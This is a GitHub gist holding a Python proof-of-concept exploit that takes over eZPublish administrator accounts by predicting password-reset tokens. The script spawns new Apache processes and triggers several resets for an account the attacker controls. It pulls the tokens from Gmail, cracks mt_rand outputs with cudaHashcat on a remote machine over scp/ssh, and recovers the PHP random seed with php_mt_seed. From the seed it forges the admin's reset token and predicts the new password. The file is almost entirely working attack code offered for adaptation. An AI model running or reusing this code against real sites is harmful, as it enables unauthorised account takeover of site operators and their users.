Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
#! /usr/bin/python
"""
eZPublish token reset and password prediction PoC.
This PoC is a bit dirty, to adapt it to your needs you may have to rewrite the
following functions :
- getTokenFromMails(): used to retrieve emails and extract the reset token.
Is currently using GMail.
- crackHashes(): used to crack the retrieved tokens in order to extract
mt_rand throws. Is currently using a remote cracking machine
and cudaHashcat.
@us3r777
"""
from socket import *
import urllib
import re
import argparse
import threading
import time, datetime
import subprocess
import sys
import hashlib
import imaplib
import getpass
import email
NB_TOKENS = 5 # The number of token to generate
def spawnNewApacheProcesses( conNum, host, port = 80):
""" Creates the necessary connections in order for a new process to be spawn in apache. """
request = 'GET / HTTP/1.1\r\nHost: '+ host + '\r\nConnection: Keep-Alive\r\n\r\n'
sockList = []
for i in range(conNum):
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.send(request)
sockList.append(s)
return sockList
def closeNewApacheConnections( sockList ):
""" Closes the opened connections. """
for s in sockList:
s.close()
def startHeartbeat(socket, request):
""" Makes a request on the socket in order to keep the connection up """
try:
# NB_TOKENS requests have already been sent
for i in range(0,100 - NB_TOKENS):
socket.send(request)
time.sleep(4)
except:
print("Connection has been closed. Stopping heartbeat")
print("Heartbeat stopped")
def extractTokenFromMail(mail):
""" Extracts token from the mail body """
token = re.search("forgotpassword/([a-f0-9]{32})", mail).group(1)
return token
def getTokensFromMails(email_address, password):
"""
Fetches mail from email_address. This function currently fetches mail
under ezpublish label from a gmail address.
Adapt it to your needs.
"""
tokens = []
M = imaplib.IMAP4_SSL('imap.gmail.com')
M.login(email_address, password)
rv, data = M.select("ezpublish")
if rv == 'OK':
rv, data = M.search(None, "ALL")
if rv != 'OK':
print "No messages found!"
return
for num in data[0].split():
rv, data = M.fetch(num, '(RFC822)')
if rv != 'OK':
print "ERROR getting message", num
return
msg = email.message_from_string(data[0][1])
body = msg.get_payload()
token = extractTokenFromMail(body)
tokens.append(token)
print("Token found : " + token)
M.store(num, '+FLAGS', '\\Deleted') # Mark the mail as deleted
M.expunge()
M.close()
M.logout()
return tokens
def recvTimestamps(socket, nb_timestamp):
""" Receives nb_timestamp timestamps from socket """
timestamps = []
timestamp_count = 0
while timestamp_count < nb_timestamp:
buf = socket.recv(256)
match = re.search("Date:\ ...,\ ([^G]*)G", buf)
if match:
timestring = match.group(1)
timestamp = time.mktime(datetime.datetime.strptime(timestring, "%d %b %Y %H:%M:%S ").timetuple())
timestamp = int(timestamp + (3600 * 2)) # Hardcoded GMT+2
timestamps.append(timestamp)
timestamp_count += 1
print("Timestamp found : " + str(timestamp))
return timestamps
def timeSince(start):
current_time = time.time() - start
minutes = "%d" % (current_time / 60)
seconds = "%0.2f" % (current_time % 60)
return "[ " + minutes + " min " + seconds + " sec ]"
def crackHashes(tokens, timestamps, user_id, nb_tokens):
"""
This function uses user_id and timestamps (salt) to crack the tokens.
Currently it uses an external cracking machine to crack the hashes.
Adapt it to your needs.
"""
# Write hashes and salt to a file
with open("hash", "w+") as hashfile:
for i in range(nb_tokens):
salt = (user_id + ":" + str(timestamps[i]) + ":").encode("hex")
hashfile.write(tokens[i] + ":" + salt + "\n")
# Upload the file on the password cracking machine
print('[+] Uploading hashes to the password cracking machine')
subprocess.call("scp hash 192.168.1.1:~/ezpublish", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
print('[+] Launching cudahashcat ...')
mt_rand_values = [ None ] * nb_tokens
command = "ssh 192.168.1.1 /opt/tools/cudaHashcat-1.36/cudaHashcat64.bin -a 3 -m 20 --hex-salt -i ~/ezpublish/hash '?d?d?d?d?d?d?d?d?d?d'"
cudahashcat = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = cudahashcat.communicate() # Wait for the process to end
matches = re.findall("([0-9a-f]{32}):[0-9a-f]{26,30}:([0-9]{1,11})", output[0])
for hash_recovered, mt_rand_value in matches:
print("Hash " + hash_recovered + " recovered : " + mt_rand_value)
mt_rand_values[tokens.index(hash_recovered)] = mt_rand_value
return mt_rand_values
def crackSeed(mt_rand_values):
"""
Uses php_mt_seed to crack the seed using the recovered mt_rand_values.
php_mt_seed is available from http://www.openwall.com/php_mt_seed/
the binary must be in the same directory.
"""
MIN = "0"
MAX = "2147483647"
PHP_MT_SEED = "exec ./php_mt_seed"
SEP = " "
SKIP = "0 0 0 0"
commands = PHP_MT_SEED + SEP
# Sometimes all mt_rand_values are not recovered due to difference in
# timestamp between generation of the token and server response.
for mt_rand_value in mt_rand_values:
if mt_rand_value:
commands += SKIP + SEP + mt_rand_value + SEP + mt_rand_value + SEP + MIN + SEP + MAX + SEP
# Skip when there is no value
else:
commands += SKIP + SEP + SKIP + SEP
print(commands)
php_mt_seed = subprocess.Popen(commands, shell=True, stdout=subprocess.PIPE)
seed = None
while True:
out = php_mt_seed.stdout.readline()
if out == '' and php_mt_seed.poll() != None:
break
if out != '':
match = re.search("seed\ =\ ([0-9]{1,11})",out)
if match:
seed = match.group(1)
php_mt_seed.kill()
break
return seed
def recvAll(the_socket,timeout=2):
the_socket.setblocking(0) # make socket non blocking
total_data=[];
data='';
begin=time.time()
while 1:
if total_data and time.time()-begin > timeout:
break
elif time.time()- begin > timeout*2:
break
# recv something
try:
data = the_socket.recv(1024)
if data:
total_data.append(data)
begin=time.time()
else:
time.sleep(0.1)
except:
pass
the_socket.setblocking(1)
#join all parts to make final string
return ''.join(total_data)
def phpPredict(skip, seed):
"""
Calls a php script to predict the number generated by PHP after SKIP
throws using SEED to initialize the Mersene Twister generator
"""
predict = subprocess.Popen("php predict.php " + str(skip) + " " + seed,
shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = predict.communicate()[0]
return re.match("([0-9]{1,11})", output).group(1)
def predictPassword(password_length, time, mt_rand_value):
"""
python version of the ezPublish createPassword function from
kernel/classes/datatypes/ezuser/ezuser.php
"""
chars = 0;
password = ''
decimal = 0;
seed = str(time) + ":" + mt_rand_value
while chars < password_length:
text = hashlib.md5(seed).hexdigest()
characterTable = "abcdefghijkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ123456789"
tableCount = len(characterTable)
i = 0
while chars < password_length and i < 32:
decimal += int(text[i:i+2], 16)
index = decimal % tableCount
character = characterTable[index]
password += character
i += 2
chars += 1
return password
def parseArguments():
parser = argparse.ArgumentParser(
description='EZPublish reset token and password prediction tool')
parser.add_argument('--host', action='store', dest='host',
help='target hostname', required=True)
parser.add_argument('--proc', action='store', dest='proc', default=15,
type=int, help='The number of process to spawn')
parser.add_argument('--port', action='store', dest='port', type=int,
default=80, help='Port in which Apache is listening')
parser.add_argument('--app-base', action='store', dest='app_base',
default="/", help='The application base path')
parser.add_argument('--user-id', action='store', dest='user_id',
help='The id of the ezpublish user you control',
required=True)
parser.add_argument('--user-email', action='store', dest='user_email',
help='The email of the ezpublish user you control',
required=True)
parser.add_argument('--target-user-email', action='store', dest='target_email',
help='The email of the target ezpublish user',
required=True)
parser.add_argument('--target-user-id', action='store', dest='target_user_id',
help='The id of the target ezpublish user',
default="14")
args = parser.parse_args()
return args
def sendResetRequest(socket, host, app_base, email):
data = 'UserEmail=' + urllib.quote(email) + '&GenerateButton=G%C3%A9n%C3%A9rer+un+nouveau+mot+de+passe'
request = 'POST ' + app_base + 'index.php/fre/user/forgotpassword HTTP/1.1\r\n' + \
'Host: ' + host + '\r\n' + \
'User-Agent: Mozilla/5.0\r\n' + \
'Connection: keep-alive\r\n' + \
'Content-Type: application/x-www-form-urlencoded\r\n' + \
'Content-Length: ' + str(len(data)) + '\r\n\r\n' + \
data
socket.send(request)
def main():
args = parseArguments()
heartbeat_request = 'GET / HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' % args.host
start_time = time.time()
print('[+] Forcing creation of new apache process. ' + timeSince(start_time))
conList = spawnNewApacheProcesses( args.proc, args.host )
print('[+] Requesting ' + str(NB_TOKENS) + ' password reset ... ' + timeSince(start_time))
s = socket(AF_INET, SOCK_STREAM)
s.connect((args.host, args.port))
for i in range(NB_TOKENS):
time.sleep(2) # Wait to ensure throws have different timestamp
sendResetRequest(s, args.host, args.app_base, args.user_email)
timestamps = recvTimestamps(s, NB_TOKENS)
print('[+] Starting Heartbeat ... ' + timeSince(start_time))
thread = threading.Thread(None, startHeartbeat, None, (s, heartbeat_request), None)
thread.start()
print('[+] Getting the mails ... ' + timeSince(start_time))
time.sleep(10) # Wait 10 seconds to ensure mails are transmited
tokens = getTokensFromMails(args.user_email, getpass.getpass())
print('[+] Cracking hashes')
mt_rand_values = crackHashes(tokens, timestamps, args.user_id, NB_TOKENS)
print('[+] Cracking the seed ... ' + timeSince(start_time))
seed = crackSeed(mt_rand_values)
if seed:
print("\n-----------------------------------------")
print("Seed found : " + seed + " " + timeSince(start_time))
print("-----------------------------------------")
# Flush the content of the pipe before reseting admin password
# To get the right timestamp
while(len(s.recv(256)) == 256):
pass
print("[+] Predicting token for user admin : ")
mt_rand_value = phpPredict((NB_TOKENS * 2 + 1), seed)
print("[+] Reseting admin password ... ")
sendResetRequest(s, args.host, args.app_base, args.target_email)
timestamp = recvTimestamps(s, 1)[0]
token = hashlib.md5(args.target_user_id + ":"+ str(timestamp) + ":" + mt_rand_value).hexdigest()
token_reset_url = args.app_base + "index.php/user/forgotpassword/" + token
print("[+] Admin token url : http://" + args.host + token_reset_url)
print("[+] GET " + token_reset_url + " ...")
while(len(s.recv(256)) == 256):
pass
token_reset_request = 'GET ' + token_reset_url + ' HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' % args.host
s.send(token_reset_request)
timestamp = recvTimestamps(s, 1)[0]
page = recvAll(s)
match = re.search("Un nouveau mot de passe", page)
if match:
print("[+] Password successfully reset !")
print("[+] Predicting password for user admin " + timeSince(start_time))
mt_rand_value = phpPredict((NB_TOKENS * 2 + 2), seed)
password = predictPassword(6, timestamp, mt_rand_value)
print("-----------------------------------------")
print("[+] Password of admin reset to : " + password + " " + timeSince(start_time))
print("-----------------------------------------")
else:
print("[!] Unable to reset password using token " + token + ". Probably due to a timestamp mismatch.")
s.close()
closeNewApacheConnections( conList )
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.